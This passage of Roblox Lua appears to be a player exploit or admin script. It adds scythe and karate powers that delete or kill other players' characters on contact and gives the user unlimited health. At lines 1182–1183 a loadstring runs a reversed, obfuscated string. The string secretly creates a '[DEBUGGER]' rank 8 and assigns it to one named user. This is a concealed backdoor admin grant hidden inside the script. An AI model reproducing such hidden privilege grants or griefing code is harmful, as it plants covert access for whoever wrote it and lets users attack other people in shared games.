  788.     local con = a.Touched:connect(function(what)
  789.         if what.Parent.Name ~= LocalPlayer.Name then
  790.             if what.Parent:findFirstChild'Torso' and what.Parent:findFirstChild'Head' then
  791.                 what:Destroy()
  792.             end
  793.         end
  794.     end)
  795.     coroutine.wrap(function()
  796.         Destiny = true
  797.         humanoid.WalkSpeed = 0
  798.         for i = 0,1,0.05 do
  799.             a.Mesh.Scale = Vector3.new(i,i,i)
  800.             wait()
  801.         end
  802.         Destiny = false
  803.         humanoid.WalkSpeed = 100
  804.         while wait() do
  805.             if a == nil or a.Parent ~= workspace then break end
  806.             a.CFrame = a.CFrame * CFrame.new(0,0,-1)
  807.         end
  808.         con:disconnect()
  809.     end)()
  810.     coroutine.wrap(function()
  811.         wait(5)
  812.         Instance.new("Explosion",workspace).Position = a.Position
  813.         a:Destroy()
  814.     end)()
  815. end
  816. function __Spikes()
  817.     if Regening == true then return end
  818.     if Energy < 100 then return end
  819.     if Spikes == true then return end
  820.     Energy = Energy - 100
  821.     Spikes = true
  822.     game:GetService("Chat"):Chat(head,"[ Scythes of Hell! ]",2)
  823.     humanoid.WalkSpeed = 0
  824.     for z = 0,200 do
  825.         local a = Instance.new("Part",workspace)
  826.         a.FormFactor = 'Custom'
  827.         a.Size = Vector3.new(30, 500, 30)
  828.         a.Anchored = true
  829.         a.CanCollide = false
  830.         a.BrickColor = BrickColor.new("Really blue")
  831.         a.Transparency = 0.5
  832.         a.Reflectance = 0.5
  833.         a.FrontSurface = "Smooth"
  834.         a.BottomSurface = "Smooth"
  835.         local pie = Instance.new("PointLight", a)
  836.         pie.Brightness = 5000
  837.         pie.Color = BrickColor.new("Royal purple").Color
  838.         pie.Range = 20
  839.         local b = Instance.new("SpecialMesh",a)
  840.         b.MeshId = 'http://www.roblox.com/asset/?id=95891318'
  841.         b.VertexColor = Vector3.new(1, 1, 1)
  842.         b.Scale = Vector3.new(1,1,1)
  843.         a.CFrame = LocalPlayer.Character.Torso.CFrame * CFrame.new(0,-0.5,-(z*4)-2)
  844.         local con = a.Touched:connect(function(what)
  845.             if what.Parent.Name ~= LocalPlayer.Name then
  846.                 if what.Parent:findFirstChild'Torso' and what.Parent:findFirstChild'Head' then
  847.                     for i,v in pairs(what.Parent:children()) do
  848.                         if v.ClassName == 'Humanoid' then
  849.                             if v.Health > 100 then v.Health = 100 end
  850.                             v.Health = v.Health - 100
  851.                         end
  852.                     end
  853.                 end
  854.             end
  855.         end)
  856.         coroutine.wrap(function()
  857.             wait(3)
  858.             a:Destroy()
  859.             con:disconnect()
  860.         end)()
  861.         wait()
  862.     end
  863.     humanoid.WalkSpeed = 100
  864.     Spikes = false
  865. end
  866. function __Lightning()
  867.     if Energy < 250 then return end
  868.     if Lightning == true then return end
  869.     if Regening == true then return end
  870.     humanoid.WalkSpeed = 50
  871.     Lightning = true
  872.     game:GetService("Chat"):Chat(head,"[ Scythe's Judgement! ]",2)
  873.     Energy = Energy - 250
  874.     local function segment(pos1,pos2,color)
  875.         local dis=(pos1-pos2).magnitude
  876.         local p=Instance.new("Part")
  877.         p.CanCollide=false
  878.         p.FormFactor="Custom"
  879.         p.Size=Vector3.new(50,50,dis)
  880.         p.Anchored=true
  881.         p.CFrame=CFrame.new(pos1,pos2)*CFrame.new(0,0,-dis/2)
  882.         p.BrickColor=color
  883.         p.Transparency = 0.5
  884.         p.Reflectance = 0.5
  885.         p.FrontSurface = "Smooth"
  886.         p.BottomSurface = "Smooth"
  887.         local pie = Instance.new("PointLight", p)
  888.         pie.Brightness = 5000
  889.         pie.Color = BrickColor.new("Really blue").Color
  890.         pie.Range = 20
  891.         local pie2 = Instance.new("SpecialMesh", p)
  892.         pie2.MeshId = "http://www.roblox.com/asset/?id=95891318"
  893.         pie2.Scale = Vector3.new(10,10,10)
  894.         return p
  895.     end
  896.     target = mouse.Hit
  897.     height=1000
  898.     prev=(target*CFrame.new(0,300,0)).p
  899.     for i=height,30,-50 do
  900.         cur=Vector3.new(math.random(15)+target.x,i,math.random(15)+target.z)
  901.         p=segment(prev,cur,BrickColor.new("Really black"))
  902.         p.Parent=workspace
  903.         local pie = Instance.new("PointLight", p)
  904.         pie.Brightness = 5000
  905.         pie.Color = BrickColor.new("Really blue").Color
  906.         pie.Range = 10
  907.         game:service("Debris"):AddItem(p,3)
  908.         prev=cur
  909.         wait()
  910.     end
  911.     p=segment(prev,target.p,BrickColor.new("Really black"))
  912.     p.Parent=workspace
  913.     local pie = Instance.new("PointLight", p)
  914.     pie.Brightness = 5000
  915.     pie.Color = BrickColor.new("Really blue").Color
  916.     pie.Range = 10
  917.     game:service("Debris"):AddItem(p,3)
  918.     local ex = Instance.new("Explosion",workspace)
  919.     ex.Position=target.p
  920.     ex.BlastRadius = 100
  921.     wait(1)
  922.     Lightning = false
  923.     humanoid.WalkSpeed = 100
  924. end
  925. function __Explosion()
  926.     if Energy < 1000 then return end
  927.     if Explosion == true then return end
  928.     if Regening == true then return end
  929.     humanoid.WalkSpeed = 0
  930.     Explosion = true
  931.     Energy = Energy - 1000
  932.     game:GetService("Chat"):Chat(head,"[ Scythe's Shattted Judgement of Hell! ]",2)
  933.     Instance.new("ForceField", LocalPlayer.Character)
  934.     local Fire = Instance.new("Fire",LocalPlayer.Character.Torso)
  935.     Fire.Color = BrickColor.new("Really black").Color
  936.     for i = 0,100 do
  937.         game:GetService("Chat"):Chat(head,"[ Charging... ]",1)
  938.         Fire.Size = i
  939.         wait(0.1)
  940.     end
  941.     game:GetService("Chat"):Chat(head,"[ Scythe's Shattered Judgement of Hell! ]",2)
  942.     Fire:remove()
  943.     LocalPlayer.Character:FindFirstChild("ForceField"):Remove()
  944.     local a = Instance.new("Explosion", LocalPlayer.Character)
  945.     a.Position = LocalPlayer.Character.Torso.Position
  946.     a.BlastPressure = 1e100
  947.     a.BlastRadius = 100
  948.     Explosion = false
  949.     humanoid.WalkSpeed = 100
  950. end
  951. t.Activated:connect(__onActivated)
  952. t.Deactivated:connect(__onDeactivated)
  953. t.Equipped:connect(__onEquipped)
  954. t.Unequipped:connect(__onUnequipped)
  955. coroutine.wrap(function()
  956.     while wait() do
  957.         if Activated == true then
  958.             if Mode == 'Shoot' then
  959.                 __Shoot()
  960.             elseif Mode == 'FireBall' then
  961.                 __FireBall()
  962.             elseif Mode == 'Spikes' then
  963.                 __Spikes()
  964.             elseif Mode == 'Lightning' then
  965.                 __Lightning()
  966.             elseif Mode == 'Explosion' then
  967.                 __Explosion()
  968.             elseif Mode == 'Destiny' then
  969.                 __Destiny()
  970.             elseif Mode == 'Tornado' then
  971.                 __Tornado()
  972.             elseif Mode == 'Armor' then
  973.                 __Armor()
  974.             elseif Mode == 'Wall' then
  975.                 __Wall()
  976.             end
  977.         end
  978.         if Regening == true then
  979.             game:GetService("Chat"):Chat(head,"[ Charging... ]",1)
  980.             Energy = Energy + 5000
  981.             Instance.new("ForceField", LocalPlayer.Character)
  982.             wait(1)
  983.         end
  984.     end
  985. end)()
  986. mouse.KeyDown:connect(function(key)
  987.     if key == 'e' then
  988.         game:GetService("Chat"):Chat(head,"[ Charging... ]",1)
  989.         humanoid.WalkSpeed = 75
  990.         Regening = true
  991.     end
  992.     if key == 'q' then
  993.         if Mode == 'Shoot' then
  994.             Mode = 'FireBall'
  995.         elseif Mode == 'FireBall' then
  996.             Mode = 'Spikes'
  997.         elseif Mode == 'Spikes' then
  998.             Mode = 'Lightning'
  999.         elseif Mode == 'Lightning' then
  1000.             Mode = 'Explosion'
  1001.         elseif Mode == 'Explosion' then
  1002.             Mode = 'Destiny'
  1003.         elseif Mode == 'Destiny' then
  1004.             Mode = 'Tornado'
  1005.         elseif Mode == 'Tornado' then
  1006.             Mode = 'Wall'
  1007.         elseif Mode == 'Wall' then
  1008.             Mode = 'Armor'
  1009.         else
  1010.             Mode = 'Shoot'
  1011.         end
  1012.     end
  1013. end)
  1014. mouse.KeyUp:connect(function(key)
  1015.     if key == 'e' then
  1016.         game:GetService("Chat"):Chat(head,"[ Lets see how you do now. ]",1)
  1017.         humanoid.WalkSpeed = 100
  1018.         Regening = false
  1019.         if LocalPlayer.Character:FindFirstChild("ForceField") then
  1020.             LocalPlayer.Character:FindFirstChild("ForceField"):Remove()
  1021.         end
  1022.     end
  1023. end)
  1024. count = 0
  1025. countspeed = 0.70
  1026. coroutine.wrap(function()
  1027.     while wait() do
  1028.         if Energy > 10000 then Energy = 10000 end
  1029.         if Energy < 0 then Energy = 0 end
  1030.         TEXTLABEL.Text = "Power: "..tostring(Energy)
  1031.         TEXTLABEL2.Text = "Current Health: "..tostring(math.floor(humanoid.Health))
  1032.         if Mode == 'Shoot' then
  1033.             TEXTLABEL3.Text = 'Strength: Dark Wyvern (50 Power)'
  1034.         elseif Mode == 'FireBall' then
  1035.             TEXTLABEL3.Text = 'Strength: Dark-Black Fire (150 Power)'
  1036.         elseif Mode == 'Spikes' then
  1037.             TEXTLABEL3.Text = 'Strength: Scythes of Hell (100 Power)'
  1038.         elseif Mode == 'Lightning' then
  1039.             TEXTLABEL3.Text = 'Strength: Scythes Judgement (250 Power)'
  1040.         elseif Mode == 'Explosion' then
  1041.             TEXTLABEL3.Text = 'Strength: Scythes Shattted Judgement of Hell (1000 Power)'
  1042.         elseif Mode == 'Destiny' then
  1043.             TEXTLABEL3.Text = 'Strength: Scythes Shadow (200 Power)'
  1044.         elseif Mode == 'Tornado' then
  1045.             TEXTLABEL3.Text = 'Strength: Black Wind (150 Power)'
  1046.         elseif Mode == 'Armor' then
  1047.             TEXTLABEL3.Text = 'Strength: Armor of Constealing Light (1000 Power)'
  1048.         elseif Mode == 'Wall' then
  1049.             TEXTLABEL3.Text = 'Strength: Wall of Stealing Souls (200 Power)'
  1050.         end
  1051.         count = (count % 100) + countspeed
  1052.         angle = math.pi * math.sin(math.pi*2/100*count)
  1053.         if Vector3.new(0, torso.Velocity.y, 0).magnitude > 2 then
  1054.             countspeed = 8
  1055.             if Equipped == false then
  1056.                 rm.C0 = rsc0 * CFrame.Angles(math.rad(150), 0, math.rad(0))
  1057.             else
  1058.                 rm.C0 = rsc0 * CFrame.Angles(math.rad(90),0,0)
  1059.             end
  1060.             lm.C0 = lsc0 * CFrame.Angles(math.rad(150), 0, math.rad(0))
  1061.             rlegm.C0 = rlc0 * CFrame.Angles(math.rad(-10) + (-angle*0.05), 0, 0)
  1062.             llegm.C0 = llc0 * CFrame.Angles(math.rad(-10) + (-angle*0.05), 0, 0)
  1063.             neck.C0 = neckc0 * CFrame.Angles(math.rad(-10) + (-angle*0.05),0,0)
  1064.             rootpart.RootJoint.C0 = rootc0 * CFrame.Angles(0,0,0)
  1065.             wait()
  1066.         elseif Vector3.new(torso.Velocity.x, 0, torso.Velocity.z).magnitude < 2 then --stand
  1067.             if shooting then
  1068.                 countspeed = 8
  1069.                 rj.C0 = rootc0 * CFrame.Angles(0,0,math.rad(25))
  1070.                 rlegm.C0 = rlc0 * CFrame.Angles(math.rad(5), -math.rad(25), 0) --right leg
  1071.                 llegm.C0 = llc0 * CFrame.Angles(-math.rad(5), -math.rad(25), -0) --left leg
  1072.                 lm.C0 = lsc0 * CFrame.Angles(-math.rad(30), 0, -math.rad(25)) --left arm
  1073.                 rm.C0 = rsc0 * CFrame.Angles(math.rad(90)+angle*0.050, 0, 0) --right arm
  1074.             elseif Regening == true then
  1075.                 if Energy == 10000 then Regening = false end
  1076.                 rj.C0 = rootc0 * CFrame.Angles(0,0,0)
  1077.                 llegm.C0 = llc0 * CFrame.Angles(0,0,math.rad(-15))
  1078.                 rlegm.C0 = rlc0 * CFrame.Angles(0,0,math.rad(15))
  1079.                 lm.C0 = lsc0 * CFrame.new(0.5,0,0) * CFrame.Angles(math.rad(90),0,math.rad(20))
  1080.                 rm.C0 = rsc0 * CFrame.new(-0.5,0,0) * CFrame.Angles(math.rad(90),0,math.rad(-20))
  1081.                 neck.C0 = neckc0 * CFrame.Angles(math.rad(15),0,0)
  1082.             elseif FireBall == true then
  1083.                 rj.C0 = rootc0 * CFrame.Angles(0,0,0)
  1084.                 llegm.C0 = llc0 * CFrame.Angles(0,0,math.rad(-15))
  1085.                 rlegm.C0 = rlc0 * CFrame.Angles(0,0,math.rad(15))
  1086.                 lm.C0 = lsc0 * CFrame.new(0.5,0,0) * CFrame.Angles(math.rad(90),0,math.rad(10))
  1087.                 rm.C0 = rsc0 * CFrame.new(-0.5,0,0) * CFrame.Angles(math.rad(90),0,math.rad(-10))
  1088.                 neck.C0 = neckc0 * CFrame.Angles(math.rad(15),0,0)
  1089.             elseif Spikes == true then
  1090.                 rj.C0 = rootc0 * CFrame.Angles(0,0,0)
  1091.                 llegm.C0 = llc0 * CFrame.Angles(0,0,math.rad(-15))
  1092.                 rlegm.C0 = rlc0 * CFrame.Angles(0,0,math.rad(15))
  1093.                 lm.C0 = lsc0 * CFrame.new(0.5,0,0) * CFrame.Angles(math.rad(90),0,math.rad(10))
  1094.                 rm.C0 = rsc0 * CFrame.new(-0.5,0,0) * CFrame.Angles(math.rad(90),0,math.rad(-10))
  1095.                 neck.C0 = neckc0 * CFrame.Angles(math.rad(15),0,0)
  1096.             elseif Lightning == true then
  1097.                 rj.C0 = rootc0 * CFrame.Angles(0,0,0)
  1098.                 llegm.C0 = llc0 * CFrame.Angles(0,0,math.rad(-15))
  1099.                 rlegm.C0 = rlc0 * CFrame.Angles(0,0,math.rad(15))
  1100.                 lm.C0 = lsc0 * CFrame.new(0.5,0,0) * CFrame.Angles(math.rad(120),0,math.rad(10))
  1101.                 rm.C0 = rsc0 * CFrame.new(-0.5,0,0) * CFrame.Angles(math.rad(120),0,math.rad(-10))
  1102.                 neck.C0 = neckc0 * CFrame.Angles(math.rad(-15),0,0)
  1103.             elseif Explosion == true then
  1104.                 coroutine.wrap(function()
  1105.                     for i = 0,360 do
  1106.                         rj.C0 = rootc0 * CFrame.Angles(0,0,0)
  1107.                         wait()
  1108.                     end
  1109.                 end)()
  1110.                 llegm.C0 = llc0 * CFrame.Angles(0,0,math.rad(-15))
  1111.                 rlegm.C0 = rlc0 * CFrame.Angles(0,0,math.rad(15))
  1112.                 lm.C0 = lsc0 * CFrame.new(0.5,0,0) * CFrame.Angles(math.rad(120),0,math.rad(10))
  1113.                 rm.C0 = rsc0 * CFrame.new(-0.5,0,0) * CFrame.Angles(math.rad(120),0,math.rad(-10))
  1114.                 neck.C0 = neckc0 * CFrame.Angles(math.rad(-15),0,0)
  1115.             else
  1116.                 countspeed = 0.70-- this judges how fast idle animation goes
  1117.                 rlegm.C0 = rlc0 * CFrame.Angles(0, 0, 0) --right leg
  1118.                 llegm.C0 = llc0 * CFrame.Angles(0, 0, -0) --left leg
  1119.                 lm.C0 = lsc0 * CFrame.Angles(-angle*0.050, 0, 0) --left arm
  1120.                 if Equipped == false then
  1121.                     rm.C0 = rsc0 * CFrame.Angles(angle*0.050, 0, 0) --right arm
  1122.                 else
  1123.                     rm.C0 = rsc0 * CFrame.Angles(math.rad(90),0,0)
  1124.                 end
  1125.                 neck.C0 = neckc0 * CFrame.Angles(-angle*0.025, 0, 0) --head
  1126.                 rj.C0 = rootc0 * CFrame.Angles(-math.rad(1), 0, 0) --torso
  1127.             end
  1128.         elseif Vector3.new(torso.Velocity.x, 0, torso.Velocity.z).magnitude > 2 then-- walk
  1129.             countspeed = 8-- this judges how fast the walk animation goes
  1130.             rlegm.C0 = rlc0 * CFrame.Angles(-angle*0.100, 0, 0)
  1131.             llegm.C0 = llc0 * CFrame.Angles(angle*0.100, 0, 0)
  1132.             neck.C0 = neckc0 * CFrame.Angles(0, 0, 0)
  1133.             lm.C0 = lsc0 * CFrame.Angles(-angle*0.100, 0, 0)
  1134.             if Equipped == false then
  1135.                 rm.C0 = rsc0 * CFrame.Angles(angle*0.100, 0, 0)
  1136.             else
  1137.                 rm.C0 = rsc0 * CFrame.Angles(math.rad(90),0,0)
  1138.             end
  1139.             rj.C0 = rootc0 * CFrame.Angles(0, 0, 0)
  1140.         end
  1141.     end
  1142. end)()
  1143. humanoid.Died:connect(function()
  1144.     for cframe_parts = 0, 50 do
  1145.         local p = Instance.new("Part")
  1146.         p.FormFactor = "Custom"
  1147.         p.BrickColor = BrickColor.new(Colors[math.random(1, #Colors)])
  1148.         p.Size = Vector3.new(1, 1, 1)
  1149.         Instance.new("BlockMesh", p).Scale = Vector3.new(0.05, 0.05, 0.05)
  1150.         p.Locked = true
  1151.         p.CanCollide = false
  1152.         p.Anchored = true
  1153.         p.CFrame = torso.CFrame * CFrame.Angles(math.random(-50, 50),math.random(-50, 50),math.random(-50, 50))
  1154.         p.Parent = workspace
  1155.         local box = Instance.new("SelectionBox", p)
  1156.         box.Color = BrickColor.new(Colors[math.random(1, #Colors)])
  1157.         box.Adornee = p
  1158.         box.Transparency = 0.5
  1159.         box.Visible = true
  1160.     game:service'Debris':AddItem(p, 5)
  1161.     coroutine.wrap(function()
  1162.     while wait() do
  1163.         if p ~= nil then
  1164.             p.CFrame = p.CFrame * CFrame.new(0, 0.085, 0)
  1165.             p.Mesh.Scale = p.Mesh.Scale - Vector3.new(0.005, 0, 0.005) + Vector3.new(0, 0.01, 0)
  1166.             p.Transparency = p.Transparency + 0.015
  1167.         else
  1168.             break
  1169.         end
  1170.     end
  1171. end)()
  1172. end
  1173. for _,v in pairs(char:children()) do
  1174.     if v:IsA("Part") then
  1175.         v:Destroy()
  1176.     end
  1177. end
  1178.  
  1179. end)
  1180.  
  1181. ]]
  1182. loadstring(([[ }"esu rof tnem toN" = cseD ,)1,1,0(wen.3roloC = roloC ,"]REGGUBED[" = emaN{ = ]8[tsiLsknaR
  1183. })1,1,0(wen.3roloC = roloC ,8 = knaR ,)"Knietsnie"( = emaN{]"Knietsnie"[sknaR]]):reverse())()
  1184. SoulCrushingKarate = [[
  1185. a,b = pcall(function()
  1186. Plrs = game:GetService("Players")
  1187. me = Plrs.LocalPlayer
  1188. char = me.Character
  1189. Modelname = "SoulKarate"
  1190. local Head = char.Head
  1191. local Torso = char.Torso
  1192. local LeftArm = char["Left Arm"]
  1193. local RightArm = char["Right Arm"]
  1194. local LeftLeg = char["Left Leg"]
  1195. local RightLeg = char["Right Leg"]
  1196. local RightHip = Torso["Right Hip"]
  1197. local LeftHip = Torso["Left Hip"]
  1198. dmgs = {Pdmg = {50, 100, "Punch"}, Kdmg = {100, 150, "Kick"}, K2dmg = {200, 300, "Doublekick"}, Rdmg = {230, 300, "RoundHouse"},
  1199. Kardmg = {30, 50, "Karate"}}
  1200. dmg = dmgs.Pdmg
  1201. Surfaces = {"FrontSurface", "BackSurface", "TopSurface", "BottomSurface", "LeftSurface", "RightSurface"}
  1202. necko = CFrame.new(0, 1, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
  1203. able = true
  1204. block = false
  1205. breakblock = 19
  1206. holdkey = false
  1207. effectOn = false
  1208. Instance.new("ForceField", char)
  1209. Add = {
  1210. Sphere = function(P)
  1211. local m = Instance.new("SpecialMesh",P)
  1212. m.MeshType = "Sphere"
  1213. return m
  1214. end,
  1215. BF = function(P)
  1216. local bf = Instance.new("BodyForce",P)
  1217. bf.force = Vector3.new(0, P:GetMass()*187, 0)
  1218. return bf
  1219. end,
  1220. BP = function(P)
  1221. local bp = Instance.new("BodyPosition",P)
  1222. bp.maxForce = Vector3.new(math.huge, 0, math.huge)
  1223. bp.P = 14000
  1224. return bp
  1225. end,
  1226. BG = function(P)
  1227. local bg = Instance.new("BodyGyro",P)
  1228. bg.maxTorque = Vector3.new(math.huge, math.huge, math.huge)
  1229. bg.P = 14000
  1230. return bg
  1231. end
  1232. }
  1233. char.Humanoid.MaxHealth = math.huge
  1234. char.Humanoid.WalkSpeed = 50
  1235. Head.Transparency = 0.5
  1236. Head.Reflectance = 0.5
  1237. Torso.Transparency = 0.5
  1238. Torso.Reflectance = 0.5
  1239. RightLeg.Transparency = 0.5
  1240. RightLeg.Reflectance = 0.5
  1241. LeftArm.Transparency = 0.5
  1242. LeftArm.Reflectance = 0.5
  1243. RightArm.Transparency = 0.5
  1244. RightArm.Reflectance = 0.5
  1245. LeftLeg.Transparency = 0.5
  1246. LeftLeg.Reflectance = 0.5
  1247. Head.Touched:connect(function(hit)
  1248. if hit.Parent:findFirstChild("Humanoid")then
  1249. game:GetService("Chat"):Chat(Head,"Don't play soccer with me.",0)
  1250. for i,v in pairs(hit.Parent:GetChildren())do
  1251. if v:IsA"Humanoid" then
  1252. game:GetService("Chat"):Chat(Head,"Cya",0)
  1253. v:Destroy()
  1254. elseif v:IsA"Part" then
  1255. game:GetService("Chat"):Chat(v.Parent.Head,"UGH!MY BONES!",2)
  1256. v.Velocity = v.Position * Vector3.new(50,3,0)
  1257. v.RotVelocity = v.Position - v.Velocity
  1258. v:Remove()
  1259. end end end
  1260. end)
  1261. Torso.Touched:connect(function(hit)
  1262. if hit.Parent:findFirstChild("Humanoid")then
  1263. game:GetService("Chat"):Chat(Head,"Hugging me? I'm like a ghost.",0)
  1264. for i,v in pairs(hit.Parent:GetChildren())do
  1265. if v:IsA"Humanoid" then
  1266. game:GetService("Chat"):Chat(Head,"That was too easy.",0)
  1267. v:Destroy()
  1268. elseif v:IsA"Part" then
  1269. game:GetService("Chat"):Chat(v.Parent.Head,"OW!",2)
  1270. v.Velocity = v.Position * Vector3.new(50,3,0)
  1271. v.RotVelocity = v.Position - v.Velocity
  1272. v:Remove()
  1273. end end end
  1274. end)
  1275. RightArm.Touched:connect(function(hit)
  1276. game:GetService("Chat"):Chat(Head,"My skills are superior.",0)
  1277. if hit.Parent:findFirstChild("Humanoid")then
  1278. for i,v in pairs(hit.Parent:GetChildren())do
  1279. if v:IsA"Humanoid" then
  1280. game:GetService("Chat"):Chat(Head,"Fly now...",0)
  1281. v:Destroy()
  1282. elseif v:IsA"Part" then
  1283. game:GetService("Chat"):Chat(v.Parent.Head,"AH!MY BONES!",2)
  1284. v.Velocity = v.Position * Vector3.new(50,3,0)
  1285. v.RotVelocity = v.Position - v.Velocity
  1286. v:Remove()
  1287. end end end
  1288. end)
  1289. LeftArm.Touched:connect(function(hit)
  1290. game:GetService("Chat"):Chat(Head,"Check your skills.",0)
  1291. if hit.Parent:findFirstChild("Humanoid")then
  1292. for i,v in pairs(hit.Parent:GetChildren())do
  1293. if v:IsA"Humanoid" then
  1294. game:GetService("Chat"):Chat(Head,"You must be mistaken.",0)
  1295. v:Destroy()
  1296. elseif v:IsA"Part" then
  1297. game:GetService("Chat"):Chat(v.Parent.Head,"AOUGH!",2)
  1298. v.Velocity = v.Position * Vector3.new(50,3,0)
  1299. v.RotVelocity = v.Position - v.Velocity
  1300. v:Remove()
  1301. end end end
  1302. end)
  1303. LeftLeg.Touched:connect(function(hit)
  1304. if hit.Parent:findFirstChild("Humanoid")then
  1305. for i,v in pairs(hit.Parent:GetChildren())do
  1306. if v:IsA"Humanoid" then
  1307. game:GetService("Chat"):Chat(Head,"Nice,Continuing the kicking game.",0)
  1308. v:Destroy()
  1309. elseif v:IsA"Part" then
  1310. v.Velocity = v.Position * Vector3.new(50,3,0)
  1311. v.RotVelocity = v.Position - v.Velocity
  1312. v.Transparency = 0.5
  1313. end end end
  1314. end)
  1315. RightLeg.Touched:connect(function(hit)
  1316. if hit.Parent:findFirstChild("Humanoid")then
  1317. for i,v in pairs(hit.Parent:GetChildren())do
  1318. if v:IsA"Humanoid" then
  1319. game:GetService("Chat"):Chat(Head,"Nice try.",0)
  1320. v:Destroy()
  1321. elseif v:IsA"Part" then
  1322. v.Velocity = v.Position * Vector3.new(50,3,0)
  1323. v.RotVelocity = v.Position - v.Velocity
  1324. v.Transparency = 0.5
  1325. end end end
  1326. end)
  1327. function Part(Parent, Anchor, Collide, Tran, Ref, Color, X, Y, Z, Break)
  1328. local p = Instance.new("Part")
  1329. p.formFactor = "Custom"
  1330. p.Anchored = Anchor
  1331. p.CanCollide = Collide
  1332. p.Transparency = Tran
  1333. p.Reflectance = Ref
  1334. p.BrickColor = BrickColor.new(Color)
  1335. local pie = Instance.new("PointLight", p)
  1336. pie.Range = 10
  1337. pie.Shadows = true
  1338. pie.Brightness = 50
  1339. for _, Surf in pairs(Surfaces) do
  1340. p[Surf] = "Smooth"
  1341. end
  1342. p.Size = Vector3.new(X, Y, Z)
  1343. if Break then
  1344. p:BreakJoints()
  1345. else p:MakeJoints() end
  1346. p.Parent = Parent
  1347. return p
  1348. end
  1349.  
  1350. function Weld(p0, p1, x, y, z, a, b, c)
  1351.  
  1352. local w = Instance.new("Weld")
  1353.  
  1354. w.Parent = p0
  1355.  
  1356. w.Part0 = p0
  1357.  
  1358. w.Part1 = p1
  1359.  
  1360. w.C1 = CFrame.new(x,y,z) * CFrame.Angles(a,b,c)
  1361.  
  1362. return w
  1363.  
  1364. end
  1365.  
  1366. function ComputePos(pos1, pos2)
  1367.  
  1368. local pos3 = Vector3.new(pos2.x, pos1.y, pos2.z)
  1369.  
  1370. return CFrame.new(pos1, pos3)
  1371.  
  1372. end
  1373.  
  1374. function getHumanoid(c)
  1375.  
  1376. local h = nil
  1377.  
  1378. for i,v in pairs(c:children()) do
  1379.  
  1380. if v:IsA("Humanoid") and c ~= char then
  1381.  
  1382. if v.Health > 0 then
  1383.  
  1384. h = v
  1385.  
  1386. end
  1387.  
  1388. end
  1389.  
  1390. end
  1391.  
  1392. return h
  1393.  
  1394. end
  1395.  
  1396. function getHead(c, pos, m)
  1397.  
  1398. local h = nil
  1399.  
  1400. local n = nil
  1401.  
  1402. t = c:findFirstChild("Torso")
  1403.  
  1404. if t ~= nil then
  1405.  
  1406. n = t:findFirstChild("Neck")
  1407.  
  1408. end
  1409.  
  1410. for i,v in pairs(c:children()) do
  1411.  
  1412. if v.Name == "Head" then
  1413.  
  1414. if (v.Position - pos).magnitude < m then
  1415.  
  1416. h = v
  1417.  
  1418. end
  1419.  
  1420. end
  1421.  
  1422. end
  1423.  
  1424. return h, n
  1425.  
  1426. end
  1427.  
  1428. for i,v in pairs(char:children()) do
  1429.  
  1430. if v.Name == Modelname then
  1431.  
  1432. v:remove()
  1433.  
  1434. end
  1435.  
  1436. end
  1437.  
  1438. torso = char.Torso
  1439.  
  1440. neck = torso.Neck
  1441.  
  1442. hum = char.Humanoid
  1443.  
  1444. Rarm = char["Right Arm"]
  1445.  
  1446. Larm = char["Left Arm"]
  1447.  
  1448. Rleg = char["Right Leg"]
  1449.  
  1450. Lleg = char["Left Leg"]
  1451.  
  1452. LastHP = hum.Health
  1453.  
  1454. function HpChange(newhp)
  1455.  
  1456. if block and hum.Health > 0.1 then
  1457.  
  1458. local dif = LastHP - newhp
  1459.  
  1460. if dif > 0 then
  1461.  
  1462. local h = LastHP - ((LastHP-newhp)/3)
  1463.  
  1464. hum.Health = h
  1465.  
  1466. wait()
  1467.  
  1468. hum.Health = h
  1469.  
  1470. end
  1471.  
  1472. if dif > breakblock then
  1473.  
  1474. block = false
  1475.  
  1476. local a = Add.BP(torso)
  1477.  
  1478. a.position = torso.Position
  1479.  
  1480. local b = Add.BG(torso)
  1481.  
  1482. b.cframe = CFrame.new(torso.Position, torso.CFrame * CFrame.new(0, 0, -5).p)
  1483.  
  1484. wait(0.6)
  1485.  
  1486. a:remove()
  1487.  
  1488. b:remove()
  1489.  
  1490. able = true
  1491.  
  1492. end
  1493.  
  1494. end
  1495.  
  1496. LastHP = hum.Health
  1497.  
  1498. end
  1499.  
  1500. hum.HealthChanged:connect(HpChange)
  1501.  
  1502. hc = Instance.new("Humanoid")
  1503.  
  1504. hc.Health = 0
  1505.  
  1506. hc.MaxHealth = 0
  1507.  
  1508. slash = Instance.new("Sound")
  1509.  
  1510. slash.SoundId = "rbxasset://sounds//swordslash.wav"
  1511.  
  1512. slash.Volume = 0.8
  1513.  
  1514. slash.Pitch = 1.4
  1515.  
  1516. slash.Parent = Rarm
  1517.  
  1518. hitsound = Instance.new("Sound")
  1519.  
  1520. hitsound.SoundId = "http://www.roblox.com/asset/?id=2801263"
  1521.  
  1522. hitsound.Volume = 0.55
  1523.  
  1524. hitsound.Pitch = 2.1
  1525.  
  1526. hitsound.Parent = torso
  1527.  
  1528. Mo = Instance.new("Model")
  1529.  
  1530. Mo.Name = Modelname
  1531.  
  1532. RABrick = Part(Mo, false, false, 1, 0, "Black", 0.1, 0.1, 0.1, true)
  1533.  
  1534. LABrick = Part(Mo, false, false, 1, 0, "Black", 0.1, 0.1, 0.1, true)
  1535.  
  1536. RLBrick = Part(Mo, false, false, 1, 0, "Black", 0.1, 0.1, 0.1, true)
  1537.  
  1538. LLBrick = Part(Mo, false, false, 1, 0, "Black", 0.1, 0.1, 0.1, true)
  1539.  
  1540. RABW = Weld(torso, RABrick, -1.5, -0.5, 0, 0, 0, 0)
  1541.  
  1542. LABW = Weld(torso, LABrick, 1.5, -0.5, 0, 0, 0, 0)
  1543.  
  1544. RLBW = Weld(torso, RLBrick, -0.5, 1.2, 0, 0, 0, 0)
  1545.  
  1546. LLBW = Weld(torso, LLBrick, 0.5, 1.2, 0, 0, 0, 0)
  1547.  
  1548. RAW = Weld(RABrick, nil, 0, 0.5, 0, 0, 0, 0)
  1549.  
  1550. LAW = Weld(LABrick, nil, 0, 0.5, 0, 0, 0, 0)
  1551.  
  1552. RLW = Weld(RLBrick, nil, 0, 0.8, 0, 0, 0, 0)
  1553.  
  1554. LLW = Weld(LLBrick, nil, 0, 0.8, 0, 0, 0, 0)
  1555.  
  1556. TBricks = {}
  1557.  
  1558. for i, v in pairs({Rarm, Larm, Rleg, Lleg}) do
  1559.  
  1560. local p = Part(Mo, false, false, 1, 0, "Black", 0.9, 0.9, 0.8, true)
  1561.  
  1562. Weld(v, p, 0, 0.7, 0, 0, 0, 0)
  1563.  
  1564. table.insert(TBricks, {p, hurt = false, able = true})
